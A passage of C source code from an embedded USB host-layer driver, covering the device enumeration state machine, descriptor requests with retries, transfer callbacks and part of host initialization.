deviceObj->deviceState = USB_HOST_DEVICE_STATE_WAITING_FOR_GET_DEVICE_DESCRIPTOR_FULL;
/* Submit the IRP */
if(USB_ERROR_NONE != deviceObj->hcdInterface->hostIRPSubmit( deviceObj->controlPipeHandle, &(deviceObj->controlTransferObj.controlIRP)))
{
/* We need to be able to send the IRP. We move the device to
* an error state. Close the pipe and send an event to the
* application. */
SYS_DEBUG_PRINT(SYS_ERROR_DEBUG, "\r\nUSB Host Layer: Bus %d Device %d Device Descriptor IRP failed. Device not supported.", busIndex, deviceObj->deviceAddress);
deviceObj->deviceState = USB_HOST_DEVICE_STATE_ERROR;
deviceObj->hcdInterface->hostPipeClose(deviceObj->controlPipeHandle);
if(gUSBHostObj.hostEventHandler != NULL)
{
/* Send an event to the application */
gUSBHostObj.hostEventHandler( USB_HOST_EVENT_DEVICE_UNSUPPORTED, NULL, gUSBHostObj.context );
}
/* Release the device is enumerating flag. Another device
* can start enumerating. */
busObj->deviceIsEnumerating = false;
}
break;
case USB_HOST_DEVICE_STATE_WAITING_FOR_GET_DEVICE_DESCRIPTOR_FULL:
/* Here we are waiting for Get Full Device Descriptor to
* complete */
if (deviceObj->controlTransferObj.controlIRP.status == USB_HOST_IRP_STATUS_COMPLETED)
{
SYS_DEBUG_PRINT(SYS_ERROR_INFO, "\r\nUSB Host Layer: Bus %d Device %d Full Device Descriptor obtained.", busIndex, deviceObj->deviceAddress);
/* IRP was successful. Go to the next state */
deviceObj->deviceState = USB_HOST_DEVICE_STATE_GET_CONFIGURATION_DESCRIPTOR_SHORT;
/* Reset the enumeration failure count */
deviceObj->enumerationFailCount = 0x00;
/* Update the number of configurations */
deviceObj->nConfiguration = deviceObj->deviceDescriptor.bNumConfigurations;
SYS_DEBUG_PRINT(SYS_ERROR_INFO, "\r\nUSB Host Layer: Bus %d Device %d contains %d configurations.", busIndex, deviceObj->deviceAddress, deviceObj->nConfiguration);
/* Reset the configuration check count to indicate that we are
* checking the first configuration */
deviceObj->configurationCheckCount = 0;
}
else
{
/* The IRP did not complete successfully. */
if ( deviceObj->controlTransferObj.controlIRP.status < USB_HOST_IRP_STATUS_COMPLETED )
{
/* Close the pipe */
deviceObj->hcdInterface->hostPipeClose(deviceObj->controlPipeHandle);
/* Release the device is enumerating flag. This will give
* another device the chance to start enumerating. The
* enumeration of this device will be re-attempted after
* the possible enumeration of the other device. */
busObj->deviceIsEnumerating = false;
/* Should we retry */
if (deviceObj->enumerationFailCount < USB_HOST_ENUMERATION_RETRY_COUNT )
{
SYS_DEBUG_PRINT(SYS_ERROR_DEBUG, "\r\nUSB Host Layer: Bus %d Device %d Device Descriptor Request Failed. Trying again", busIndex, deviceObj->deviceAddress);
/* Yes we should. Increment the enumeration
* count and reset the device */
deviceObj->enumerationFailCount ++ ;
/* The device address must be release because the
* enumeration process will be repeated */
_USB_HOST_FreeAddress(deviceObj->deviceIdentifier);
/* Set device state for enumeration */
deviceObj->deviceState = USB_HOST_DEVICE_STATE_WAITING_FOR_ENUMERATION;
}
else
{
deviceObj->deviceState = USB_HOST_DEVICE_STATE_ERROR;
SYS_DEBUG_PRINT(SYS_ERROR_DEBUG, "\r\nUSB Host Layer: Bus %d Device %d Device Request Failed 3 times. Device not supported.", busIndex, deviceObj->deviceAddress);
/* We should send an event to the application and
* then wait for device attach */
if(gUSBHostObj.hostEventHandler != NULL)
{
gUSBHostObj.hostEventHandler( USB_HOST_EVENT_DEVICE_UNSUPPORTED , NULL, gUSBHostObj.context );
}
}
}
}
break;
case USB_HOST_DEVICE_STATE_GET_CONFIGURATION_DESCRIPTOR_SHORT:
/* In this state the host will get the configuration descriptor
* header. This is needed so that we know what is the
* configuration descriptor size */
_USB_HOST_FillSetupPacket( &(deviceObj->setupPacket), ( USB_SETUP_DIRN_DEVICE_TO_HOST | USB_SETUP_TYPE_STANDARD | USB_SETUP_RECIPIENT_DEVICE ), USB_REQUEST_GET_DESCRIPTOR,
( USB_DESCRIPTOR_CONFIGURATION << 8 )+ deviceObj->configurationCheckCount , 0 , 9 ) ;
/* Fill IRP */
deviceObj->controlTransferObj.controlIRP.data = ( void * )deviceObj->buffer;
deviceObj->controlTransferObj.controlIRP.setup = &(deviceObj->setupPacket);
deviceObj->controlTransferObj.controlIRP.size = 9;
deviceObj->controlTransferObj.controlIRP.callback = NULL;
deviceObj->deviceState = USB_HOST_DEVICE_STATE_WAITING_FOR_GET_CONFIGURATION_DESCRIPTOR_SHORT;
/* Submit the IRP */
if(USB_ERROR_NONE != deviceObj->hcdInterface->hostIRPSubmit( deviceObj->controlPipeHandle,
&(deviceObj->controlTransferObj.controlIRP)))
{
/* We need to be able to send the IRP. We move the device to
* an error state. Close the pipe and send an event to the
* application. */
SYS_DEBUG_PRINT(SYS_ERROR_DEBUG, "\r\nUSB Host Layer: Bus %d Device %d Configuration Descriptor IRP failed. Device not supported.", busIndex, deviceObj->deviceAddress);
deviceObj->deviceState = USB_HOST_DEVICE_STATE_ERROR;
deviceObj->hcdInterface->hostPipeClose(deviceObj->controlPipeHandle);
if(gUSBHostObj.hostEventHandler != NULL)
{
/* Send an event to the application */
gUSBHostObj.hostEventHandler( USB_HOST_EVENT_DEVICE_UNSUPPORTED, NULL, gUSBHostObj.context );
}
/* Release the device is enumerating flag. Another
* device can start enumerating. */
busObj->deviceIsEnumerating = false;
}
break;
case USB_HOST_DEVICE_STATE_WAITING_FOR_GET_CONFIGURATION_DESCRIPTOR_SHORT:
/* Here we are waiting for Get Short Configuration Descriptor to
* complete */
if (deviceObj->controlTransferObj.controlIRP.status == USB_HOST_IRP_STATUS_COMPLETED)
{
SYS_DEBUG_PRINT(SYS_ERROR_INFO, "\r\nUSB Host Layer: Bus %d Device %d Short Configuration Descriptor Request passed.", busIndex, deviceObj->deviceAddress);
SYS_DEBUG_PRINT(SYS_ERROR_INFO, "\r\nUSB Host Layer: Bus %d Device %d Getting Full Configuration Descriptor.", busIndex, deviceObj->deviceAddress);
/* IRP was successful. Go to the next state */
deviceObj->deviceState = USB_HOST_DEVICE_STATE_GET_CONFIGURATION_DESCRIPTOR_FULL;
/* Reset the enumeration failure count */
deviceObj->enumerationFailCount = 0x00;
}
else
{
/* The IRP did not complete successfully. */
if ( deviceObj->controlTransferObj.controlIRP.status < USB_HOST_IRP_STATUS_COMPLETED )
{
/* Close the pipe */
deviceObj->hcdInterface->hostPipeClose(deviceObj->controlPipeHandle);
/* Release the device is enumerating flag. This will give
* another device the chance to start enumerating. The
* enumeration of this device will be re-attempted after
* the possible enumeration of the other device. */
busObj->deviceIsEnumerating = false;
/* Should we retry */
if (deviceObj->enumerationFailCount < USB_HOST_ENUMERATION_RETRY_COUNT )
{
SYS_DEBUG_PRINT(SYS_ERROR_DEBUG, "\r\nUSB Host Layer: Bus %d Device %d Configuration Descriptor Request Failed. Trying again", busIndex, deviceObj->deviceAddress);
/* Yes we should. Increment the enumeration count
* and reset the device */
deviceObj->enumerationFailCount ++ ;
/* Set device state for enumeration */
deviceObj->deviceState = USB_HOST_DEVICE_STATE_WAITING_FOR_ENUMERATION;
/* Release the device address */
_USB_HOST_FreeAddress(deviceObj->deviceIdentifier);
}
else
{
SYS_DEBUG_PRINT(SYS_ERROR_DEBUG, "\r\nUSB Host Layer: Bus %d Device %d Configuration Request Failed 3 times. Device not supported.", busIndex, deviceObj->deviceAddress);
deviceObj->deviceState = USB_HOST_DEVICE_STATE_ERROR;
/* We should send an event to the application and
* then wait for device attach */
if(gUSBHostObj.hostEventHandler != NULL)
{
gUSBHostObj.hostEventHandler( USB_HOST_EVENT_DEVICE_UNSUPPORTED , NULL, gUSBHostObj.context );
}
}
}
}
break;
case USB_HOST_DEVICE_STATE_GET_CONFIGURATION_DESCRIPTOR_FULL:
/* Here we will try to allocate memory for the full
* configuration descriptor and then get the full configuration
* descriptor. */
configurationDescriptor = (USB_CONFIGURATION_DESCRIPTOR *)(deviceObj->buffer);
deviceObj->holdingConfigurationDescriptor = USB_HOST_MALLOC(configurationDescriptor->wTotalLength);
if(deviceObj->holdingConfigurationDescriptor == NULL)
{
/* The memory allocation failed. We need memory to continue.
* We have to stop here */
deviceObj->deviceState = USB_HOST_DEVICE_STATE_ERROR;
deviceObj->hcdInterface->hostPipeClose(deviceObj->controlPipeHandle);
if(gUSBHostObj.hostEventHandler != NULL)
{
SYS_DEBUG_PRINT(SYS_ERROR_DEBUG, "\r\nUSB Host Layer: Bus %d Device %d. Insufficient memory for Configuration Descriptor", busIndex, deviceObj->deviceAddress);
gUSBHostObj.hostEventHandler( USB_HOST_EVENT_DEVICE_UNSUPPORTED , NULL, gUSBHostObj.context );
}
/* Release the device is enumerating flag. Another
* device can start enumerating. */
busObj->deviceIsEnumerating = false;
}
else
{
/* Place a request for the full configuration descriptor */
_USB_HOST_FillSetupPacket( &(deviceObj->setupPacket), ( USB_SETUP_DIRN_DEVICE_TO_HOST | USB_SETUP_TYPE_STANDARD | USB_SETUP_RECIPIENT_DEVICE ),
USB_REQUEST_GET_DESCRIPTOR, ( USB_DESCRIPTOR_CONFIGURATION << 8 ) + deviceObj->configurationCheckCount ,
0 ,configurationDescriptor->wTotalLength) ;
/* Create the IRP. Note that the configuration descriptor is
* read into the holding configuration descriptor. The
* holding configuration descriptor memory area is used as a
* temporary holding area only. The memory is freed once the
* configuration descriptor has been checked for errors */
deviceObj->controlTransferObj.controlIRP.data = deviceObj->holdingConfigurationDescriptor;
deviceObj->controlTransferObj.controlIRP.setup = &(deviceObj->setupPacket);
deviceObj->controlTransferObj.controlIRP.size = configurationDescriptor->wTotalLength;
deviceObj->controlTransferObj.controlIRP.callback = NULL;
deviceObj->deviceState = USB_HOST_DEVICE_STATE_WAITING_FOR_GET_CONFIGURATION_DESCRIPTOR_FULL;
/* Submit the IRP */
if(USB_ERROR_NONE != deviceObj->hcdInterface->hostIRPSubmit( deviceObj->controlPipeHandle,
&(deviceObj->controlTransferObj.controlIRP)))
{
/* We need to be able to send the IRP. We move the
* device to an error state. Close the pipe and send an
* event to the application. */
SYS_DEBUG_PRINT(SYS_ERROR_DEBUG, "\r\nUSB Host Layer: Bus %d Device %d Configuration Request IRP failed. Device not supported.", busIndex, deviceObj->deviceAddress);
deviceObj->deviceState = USB_HOST_DEVICE_STATE_ERROR;
deviceObj->hcdInterface->hostPipeClose(deviceObj->controlPipeHandle);
USB_HOST_FREE(deviceObj->holdingConfigurationDescriptor);
deviceObj->holdingConfigurationDescriptor = NULL;
if(gUSBHostObj.hostEventHandler != NULL)
{
/* Send an event to the application */
gUSBHostObj.hostEventHandler( USB_HOST_EVENT_DEVICE_UNSUPPORTED, NULL, gUSBHostObj.context );
}
/* Release the device is enumerating flag. Another
* device can start enumerating. */
busObj->deviceIsEnumerating = false;
}
}
break;
case USB_HOST_DEVICE_STATE_WAITING_FOR_GET_CONFIGURATION_DESCRIPTOR_FULL:
/* In this state we are waiting for the full configuration
* descriptor */
if (deviceObj->controlTransferObj.controlIRP.status == USB_HOST_IRP_STATUS_COMPLETED)
{
SYS_DEBUG_PRINT(SYS_ERROR_INFO, "\r\nUSB Host Layer: Bus %d Device %d Get Full Configuration Descriptor Request passed.", busIndex, deviceObj->deviceAddress);
/* Reset the failure counter */
deviceObj->enumerationFailCount = 0;
/* The configuration descriptor will be in
* holdingConfigurationDescriptor member of device object.
* Check it for errors */
if(_USB_HOST_DeviceConfigurationDescriptorErrorCheck(deviceObj->holdingConfigurationDescriptor) &&
(deviceObj->holdingConfigurationDescriptor->bNumInterfaces <= USB_HOST_DEVICE_INTERFACES_NUMBER))
{
/* This means there are no errors in the configuration
* descriptor. Have we checked all configuration
* descriptors. Update the configurationCheckCount
* variable */
SYS_DEBUG_PRINT(SYS_ERROR_INFO, "\r\nUSB Host Layer: Bus %d Device %d No errors detected in Configuration Descriptor %d.",
busIndex, deviceObj->deviceAddress, deviceObj->configurationCheckCount);
deviceObj->configurationCheckCount ++;
if(deviceObj->configurationCheckCount >= deviceObj->nConfiguration)
{
/* This means we have checked all the configurations
* and there are no errors. We are okay to move the
* device to the ready state */
deviceObj->deviceState = USB_HOST_DEVICE_STATE_READY;
/* Release the control transfer object */
deviceObj->controlTransferObj.inUse = false;
/* Release the device is enumerating flag. Another
* device can start enumerating. */
busObj->deviceIsEnumerating = false;
}
else
{
/* Check the next configuration specified by
* configurationCheckCount */
deviceObj->deviceState = USB_HOST_DEVICE_STATE_GET_CONFIGURATION_DESCRIPTOR_SHORT;
}
/* Free up the allocated memory */
USB_HOST_FREE(deviceObj->holdingConfigurationDescriptor);
deviceObj->holdingConfigurationDescriptor = NULL;
}
else
{
/* The configuration check failed. Either there was an
* error in the configuration or the configuration has
* too many interfaces. We cannot use this
* device */
deviceObj->deviceState = USB_HOST_DEVICE_STATE_ERROR;
deviceObj->hcdInterface->hostPipeClose(deviceObj->controlPipeHandle);
USB_HOST_FREE(deviceObj->holdingConfigurationDescriptor);
deviceObj->holdingConfigurationDescriptor = NULL;
if(gUSBHostObj.hostEventHandler != NULL)
{
SYS_DEBUG_PRINT(SYS_ERROR_DEBUG, "\r\nUSB Host Layer: Bus %d Device %d Errors detected in Configuration Descriptor %d. Device not supported", busIndex, deviceObj->deviceAddress, deviceObj->configurationCheckCount);
gUSBHostObj.hostEventHandler(USB_HOST_EVENT_DEVICE_UNSUPPORTED, NULL, gUSBHostObj.context);
}
/* Release the device is enumerating flag. Another
* device can start enumerating. */
busObj->deviceIsEnumerating = false;
}
}
else
{
if ( deviceObj->controlTransferObj.controlIRP.status < USB_HOST_IRP_STATUS_COMPLETED )
{
deviceObj->hcdInterface->hostPipeClose(deviceObj->controlPipeHandle);
/* Release the device is enumerating flag. This will give
* another device the chance to start enumerating. The
* enumeration of this device will be re-attempted after
* the possible enumeration of the other device. */
busObj->deviceIsEnumerating = false;
USB_HOST_FREE(deviceObj->holdingConfigurationDescriptor);
deviceObj->holdingConfigurationDescriptor = NULL;
if (deviceObj->enumerationFailCount < USB_HOST_ENUMERATION_RETRY_COUNT )
{
SYS_DEBUG_PRINT(SYS_ERROR_DEBUG, "\r\nUSB Host Layer: Bus %d Device %d Get Configuration Descriptor Request failed. Trying again", busIndex, deviceObj->deviceAddress);
/* Increment the failure count */
deviceObj->enumerationFailCount ++ ;
/* Set device state for enumeration */
deviceObj->deviceState = USB_HOST_DEVICE_STATE_WAITING_FOR_ENUMERATION;
/* Release allocated device address */
_USB_HOST_FreeAddress(deviceObj->deviceIdentifier);
}
else
{
/* Move the device to error state */
deviceObj->deviceState = USB_HOST_DEVICE_STATE_ERROR;
SYS_DEBUG_PRINT(SYS_ERROR_DEBUG, "\r\nUSB Host Layer: Bus %d Device %d Get Configuration Descriptor Request failed 3 times. Device not supported", busIndex, deviceObj->deviceAddress);
if(gUSBHostObj.hostEventHandler != NULL)
{
gUSBHostObj.hostEventHandler(USB_HOST_EVENT_DEVICE_UNSUPPORTED , NULL, gUSBHostObj.context );
}
}
}
}
break;
case USB_HOST_DEVICE_STATE_ERROR:
/* The device has entered an error state. The control pipe
* should have been closed already. We will only assign an
* invalid value to the pipe handle. Note that we are doing
* this in an atomically, just to be safe. The device then
* enters the Error holding state. In this state, the device
* must be detached. */
interruptIsEnabled = SYS_INT_Disable();
deviceObj->controlPipeHandle = DRV_USB_HOST_PIPE_HANDLE_INVALID;
if(interruptIsEnabled)
{
SYS_INT_Enable();
}
deviceObj->deviceState = USB_HOST_DEVICE_STATE_ERROR_HOLDING;
break;
case USB_HOST_DEVICE_STATE_ERROR_HOLDING:
break;
case USB_HOST_DEVICE_STATE_READY:
/* This means the device state is ready for further processing.
* The host layer will now try to match the device to the
* client driver. The client driver can start interacting with
* the device */
break;
default:
break;
}
}
}
// *****************************************************************************
/* Function:
void _USB_HOST_UpdateDeviceTask(int busIndex)
Summary:
This function maintains the state of each device on the bus.
Description:
This function maintains the state of each device on the bus.
Remarks:
This is a local function and should not be called directly by the
application.
*/
void _USB_HOST_UpdateDeviceTask(int busIndex)
{
USB_HOST_BUS_OBJ * busObj;
USB_HOST_DEVICE_OBJ * deviceObj = NULL ;
busObj = &(gUSBHostBusList[busIndex]);
/* The first device on the bus is the root hub. We don't maintain the state
* of the root hub. So get the next device on the bus. */
deviceObj = busObj->busDeviceList;
deviceObj = deviceObj->nextDeviceObj;
while(deviceObj != NULL)
{
/* Check if the device is addressed, get the device descriptor, check
* all the configuration descriptors and move the device to the ready
* state */
_USB_HOST_MakeDeviceReady(deviceObj, busIndex);
/* If the device is not owned then find a driver that can own it */
_USB_HOST_UpdateDeviceOwnership (deviceObj, busIndex);
/* If the configuration needs to be set, then set the configuration */
_USB_HOST_UpdateConfigurationState(deviceObj, busIndex);
/* If the device is configured, update the state of the interfaces */
_USB_HOST_UpdateInterfaceStatus(deviceObj, busIndex);
//_USB_HOST_UpdateClientDriverState ( deviceObj );
deviceObj = deviceObj->nextDeviceObj ;
}
}
// *****************************************************************************
/* Function:
void _USB_HOST_FreeAddress ( USB_HOST_DEVICE_OBJ_HANDLE deviceIdentifier)
Summary:
Frees up the address bit assigned to this device hence making the address
available.
Description:
This function frees up the address bit assigned to this device hence making
the address available.
Remarks:
This is a local function and should not be called directly by the
application.
*/
void _USB_HOST_FreeAddress ( USB_HOST_DEVICE_OBJ_HANDLE deviceIdentifier )
{
uint8_t busNumber;
int deviceIndex;
uint8_t deviceAddress;
USB_HOST_BUS_OBJ *busObj;
USB_HOST_DEVICE_OBJ *deviceObj;
/* Get the device array index and the bus number from the device object
* handle */
deviceIndex = USB_HOST_DEVICE_INDEX (deviceIdentifier);
busNumber = USB_HOST_BUS_NUMBER (deviceIdentifier);
busObj = &( gUSBHostBusList[busNumber]);
deviceObj = &( gUSBHostDeviceList [ deviceIndex ]);
deviceAddress = deviceObj->deviceAddress;
if(deviceAddress == 0)
{
/* Don't do anything */
}
else
{
/* The address is no longer being used. Clear up the bit assigned to this
* device address. Address now becomes available. */
busObj->addressBits[ deviceAddress/ 8 ] &= ~(1 << ( deviceAddress % 8));
}
}
// *****************************************************************************
/* Function:
USB_HOST_RESULT _USB_HOST_IRPResultToHostResult( USB_HOST_IRP * irp )
Summary:
This function maps the IRP completion result to a USB_HOST_RESULT type.
Description:
This function maps the IRP completion result to a USB_HOST_RESULT type.
Remarks
This is a local function and should not be called directly by the
application.
*/
USB_HOST_RESULT _USB_HOST_IRPResultToHostResult(USB_HOST_IRP * irp)
{
USB_HOST_RESULT result;
switch(irp->status)
{
case USB_HOST_IRP_STATUS_ABORTED:
/* IRP was terminated by the application */
result = USB_HOST_RESULT_TRANSFER_ABORTED;
break;
case USB_HOST_IRP_STATUS_ERROR_STALL:
/* IRP was terminated because of a STALL */
result = USB_HOST_RESULT_REQUEST_STALLED;
break;
case USB_HOST_IRP_STATUS_COMPLETED:
case USB_HOST_IRP_STATUS_COMPLETED_SHORT:
/* IRP has been completed */
result = USB_HOST_RESULT_SUCCESS;
break;
case USB_HOST_IRP_STATUS_ERROR_UNKNOWN:
case USB_HOST_IRP_STATUS_ERROR_BUS:
case USB_HOST_IRP_STATUS_ERROR_DATA:
case USB_HOST_IRP_STATUS_ERROR_NAK_TIMEOUT:
default:
result = USB_HOST_RESULT_FAILURE;
break;
}
return (result);
}
// *****************************************************************************
/* Function:
void _USB_HOST_DataTransferIRPCallback( USB_HOST_IRP * irp )
Summary:
This is the callback for IRPs submitted through the
USB_HOST_DeviceTransfer() function.
Description:
This is the callback function for IRPs submitted through the
USB_HOST_DeviceTransfer() function. The function will get the
USB_HOST_TRANSFER_OBJ object associated with this IRP, find out the
interface on which the transfer took place and then call the
interfaceEventHandler function of the client driver that owns this
interface.
Remarks
This is a local function and should not be called directly by the
application.
*/
void _USB_HOST_DataTransferIRPCallback( USB_HOST_IRP * irp )
{
USB_HOST_TRANSFER_OBJ * transferObj;
USB_HOST_INTERFACE_DESC_INFO * interfaceInfo;
USB_HOST_CLIENT_DRIVER * clientDriver;
USB_HOST_DEVICE_INTERFACE_EVENT_TRANSFER_COMPLETE_DATA eventData;
/* The user data field of the IRP contains the address of the transfer
* object the own this IRP. */
transferObj = (USB_HOST_TRANSFER_OBJ *)(irp->userData);
/* The transfer object contains the reference to the interface object */
interfaceInfo = transferObj->interfaceInfoObj;
/* Get a pointer to the client driver than owns this interface */
clientDriver = interfaceInfo->interfaceDriver;
/* Set up the event data object */
eventData.length = irp->size;
eventData.transferHandle = (USB_HOST_TRANSFER_HANDLE)(transferObj);
/* We need to map IRP completion status to event data completion status */
eventData.result = _USB_HOST_IRPResultToHostResult(irp);
/* If the the USB_HOST_DeviceTransfer function will be called, it should
* know that the host layer is in an interrupt context */
gUSBHostObj.isInInterruptContext = true;
/* We need to make sure that the interface is owned because the device could
* have been detached between the time that this transfer was submitted
* and the callback arrived */
if(clientDriver != NULL)
{
clientDriver->interfaceEventHandler(interfaceInfo->interfaceHandle,
USB_HOST_DEVICE_INTERFACE_EVENT_TRANSFER_COMPLETE, &eventData, transferObj->context);
}
gUSBHostObj.isInInterruptContext = false;
/* Deallocate the transfer object */
transferObj->inUse = false;
}
// *****************************************************************************
/* Function:
void _USB_HOST_DeviceControlTransferCallback( USB_HOST_IRP * irp )
Summary:
This is the callback for control IRPs submitted through the
USB_HOST_DeviceControlTransfer() function.
Description:
This is the callback function for control IRPs submitted through the
USB_HOST_DeviceControlTransfer() function. The function will get the
USB_HOST_CONTROL_TRANSFER_OBJ object associated with this IRP, find out the
type of control request call the callback function associated with the
control transfer.
Remarks
This is a local function and should not be called directly by the
application.
*/
void _USB_HOST_DeviceControlTransferCallback( USB_HOST_IRP * irp )
{
int deviceIndex;
int interfaceIndex;
USB_HOST_DEVICE_OBJ * deviceObj;
USB_HOST_CONTROL_TRANSFER_OBJ * controlTransferObj;
USB_HOST_INTERFACE_DESC_INFO * interfaceInfo;
USB_HOST_RESULT result;
USB_HOST_DEVICE_INTERFACE_EVENT_PIPE_HALT_CLEAR_COMPLETE_DATA pipeHaltEventData;
USB_HOST_DEVICE_INTERFACE_EVENT_SET_INTERFACE_COMPLETE_DATA interfaceCompleteData;
USB_HOST_DEVICE_EVENT_CONFIGURATION_DESCRIPTOR_GET_COMPLETE_DATA configurationGetCompleteData;
/* The userData field of the IRP will be a bit map that contains the pnp
* identifier, the control transfer object index and the index of the device
* object that submitted this control transfer. */
deviceIndex = USB_HOST_DEVICE_INDEX(irp->userData);
deviceObj = &gUSBHostDeviceList[deviceIndex];
controlTransferObj = &deviceObj->controlTransferObj;
/* Map the IRP result to USB_HOST_RESULT */
result = _USB_HOST_IRPResultToHostResult(irp);
switch ( controlTransferObj->requestType )
{
case USB_HOST_CONTROL_REQUEST_TYPE_CLIENT_DRIVER_SPECIFIC:
/* This was a client driver specific control request. Call the
* register callback */
if(controlTransferObj->callback != NULL)
{
((USB_HOST_DEVICE_CONTROL_REQUEST_COMPLETE_CALLBACK)(controlTransferObj->callback))(deviceObj->deviceIdentifier,
(USB_HOST_REQUEST_HANDLE)(controlTransferObj), result, irp->size, controlTransferObj->context );
}
break;
case USB_HOST_CONTROL_REQUEST_TYPE_PIPE_HALT_CLEAR:
/* This is standard control transfer request. Send the event to
* the client driver that requested this. The IRP user data in this
* case will also contain the interface index. */
interfaceIndex = USB_HOST_INTERFACE_INDEX(irp->userData);
interfaceInfo = &deviceObj->configDescriptorInfo.interfaceInfo[interfaceIndex];
/* Prepare the event data */
pipeHaltEventData.result = result;
pipeHaltEventData.requestHandle = (USB_HOST_REQUEST_HANDLE)(controlTransferObj);
/* Send the event to the interface event handler */
if((interfaceInfo->interfaceDriver != NULL) &&
(interfaceInfo->interfaceDriver->interfaceEventHandler != NULL))
{
interfaceInfo->interfaceDriver->interfaceEventHandler(interfaceInfo->interfaceHandle,
USB_HOST_DEVICE_INTERFACE_EVENT_PIPE_HALT_CLEAR_COMPLETE, &pipeHaltEventData, controlTransferObj->context);
}
break;
case USB_HOST_CONTROL_REQUEST_TYPE_INTERFACE_SET:
/* This is standard control transfer request. Send the event to
* the client driver that requested this. The IRP user data in this
* case will also contain the interface index. */
interfaceIndex = USB_HOST_INTERFACE_INDEX(irp->userData);
interfaceInfo = &deviceObj->configDescriptorInfo.interfaceInfo[interfaceIndex];
/* Prepare the event data */
interfaceCompleteData.result = result;
interfaceCompleteData.requestHandle = (USB_HOST_REQUEST_HANDLE)(controlTransferObj);
if(result == USB_HOST_RESULT_SUCCESS)
{
/* This means the alternate setting request was successful. We
* should updated the current alternate setting on this
* interface */
interfaceInfo->currentAlternateSetting = deviceObj->requestedAlternateSetting;
}
/* Send the event to the interface event handler */
if((interfaceInfo->interfaceDriver != NULL) &&
(interfaceInfo->interfaceDriver->interfaceEventHandler != NULL))
{
interfaceInfo->interfaceDriver->interfaceEventHandler(interfaceInfo->interfaceHandle,
USB_HOST_DEVICE_INTERFACE_EVENT_SET_INTERFACE_COMPLETE, &interfaceCompleteData, controlTransferObj->context);
}
break;
case USB_HOST_CONTROL_REQUEST_TYPE_STRING_DESCRIPTOR:
/* This request originated from the application. The context and the
* callback field of the control transfer object contain callback
* and context specified by the application. */
if(controlTransferObj->callback != NULL)
{
/* This means we have a callback that we can call */
if(result == USB_HOST_RESULT_SUCCESS)
{
((USB_HOST_STRING_REQUEST_COMPLETE_CALLBACK)(controlTransferObj->callback))
((USB_HOST_REQUEST_HANDLE)controlTransferObj, irp->size, controlTransferObj->context);
}
else
{
/* The string descriptor request failed. Invoke the callback
* with string size as 0 */
((USB_HOST_STRING_REQUEST_COMPLETE_CALLBACK)(controlTransferObj->callback))
((USB_HOST_REQUEST_HANDLE)controlTransferObj, irp->size, controlTransferObj->context);
}
}
break;
case USB_HOST_CONTROL_REQUEST_TYPE_CONFIGURATION_DESCRIPTOR_GET:
/* This request originated from the client driver. An event should
* be sent to the device level event handler. Populate the event
* data. */
configurationGetCompleteData.requestHandle = (USB_HOST_REQUEST_HANDLE)(&deviceObj->controlTransferObj);
configurationGetCompleteData.result = result;
if(deviceObj->deviceClientDriver != NULL)
{
deviceObj->deviceClientDriver->deviceEventHandler(deviceObj->deviceClientHandle,
USB_HOST_DEVICE_EVENT_CONFIGURATION_DESCRIPTOR_GET_COMPLETE, &configurationGetCompleteData,
deviceObj->controlTransferObj.context);
}
default:
break;
}
/* Release the control transfer object back */
controlTransferObj->inUse = false;
}
// *****************************************************************************
// *****************************************************************************
// Section: USB HOST Layer System Interface Implementations
// *****************************************************************************
// *****************************************************************************
// *****************************************************************************
/* Function:
SYS_MODULE_OBJ USB_HOST_Initialize
(
const SYS_MODULE_INIT * const init
)
Summary:
Initializes the USB Host layer instance specified by the index.
Description:
This routine initializes the USB Host Layer. This function must be called
before any other Host layer function can be called. The initialization data
is specified by the init parameter. This function is typically called in
the SYS_Initialize() function. The initialization completion may require the
USB_HOST_Tasks() routine to execute. The initialization function does not
start the operation of the Host on the USB. This must be done explicitly
via the USB_HOST_BusEnable() function.
Remarks:
Refer to usb_host.h for usage information.
*/
SYS_MODULE_OBJ USB_HOST_Initialize
(
const SYS_MODULE_INIT * initData
)
{
int hcCount;
SYS_MODULE_OBJ result;
uint32_t tplEntryCount;
USB_HOST_BUS_OBJ *busObj;
USB_HOST_TPL_ENTRY *tplEntry;
USB_HOST_INIT *hostInit = NULL;
USB_HOST_OBJ *hostObj = &(gUSBHostObj);
/* Typecast the initialization data parameter and check if it is NULL. The
* host layer cannot be initialized if the initialization data structure is
* NULL. */
hostInit = ( USB_HOST_INIT * ) initData ;
result =SYS_MODULE_OBJ_INVALID;
SYS_DEBUG_MESSAGE(SYS_ERROR_INFO, "\r\nUSB Host Layer: Entering USB_HOST_Initialize().");
if(NULL == hostInit )
{
SYS_DEBUG_MESSAGE( SYS_ERROR_DEBUG, "\r\nUSB Host Layer: Initialization data is NULL is USB_HOST_Initialize().");
}
else
{
if(OSAL_RESULT_TRUE != OSAL_MUTEX_Create(&(gUSBHostObj.mutexControlTransferObj)))
{
/* Could not create the mutual exclusion */
SYS_DEBUG_MESSAGE(SYS_ERROR_DEBUG, "\r\nUSB Host Layer: Could not create Control Transfer Mutex in USB_HOST_Initialize().");
}
else
{
if(OSAL_RESULT_TRUE != OSAL_MUTEX_Create(&(gUSBHostObj.mutexPipeObj)))
{
/* Could not create the mutual exclusion*/
SYS_DEBUG_MESSAGE(SYS_ERROR_DEBUG, "\r\nUSB Host Layer: Could not create Pipe Object Mutex in USB_HOST_Initialize().");
}
else
{
if(OSAL_RESULT_TRUE != OSAL_MUTEX_Create(&(gUSBHostObj.mutexTransferObj)))
{
/* Could not create the mutual exclusion */
SYS_DEBUG_MESSAGE(SYS_ERROR_DEBUG, "\r\nUSB Host Layer: Could not create Transfer Object Mutex in USB_HOST_Initialize().");
}
else
{
/* Initialize the bus objects */
for ( hcCount = 0 ; hcCount < USB_HOST_CONTROLLERS_NUMBER ; hcCount++ )
{
busObj = &(gUSBHostBusList[hcCount]);
/* Update the Host Controller Driver. This index will be used
* when the Host Layer opens the driver (at root hub enumeration
* time). */
busObj->hcdIndex = hostInit->hostControllerDrivers[hcCount].drvIndex;
/* By default bus state is disabled */
busObj->state = USB_HOST_BUS_STATE_DISABLED ;
/* Pointer to the HCD interface */
busObj->hcdInterface = ( DRV_USB_HOST_INTERFACE * ) ( hostInit->hostControllerDrivers [hcCount]).hcdInterface;
/* Attached Device list will be NULL*/
busObj->busDeviceList = NULL ;
/* Initialize HCD handle to invalid */
busObj->hcdHandle = DRV_HANDLE_INVALID ;
/* This flag is set when any device is enumerating on the bus.
* Initialize as false. */
busObj->deviceIsEnumerating = false ;
/* Initialize handle of the system timer that this bus object will use */
busObj->busOperationsTimerHandle = SYS_TMR_HANDLE_INVALID;
/* Bus bandwidth constants */
busObj->totalBandwidth = 1000;
busObj->availableBandwidth = 1000;
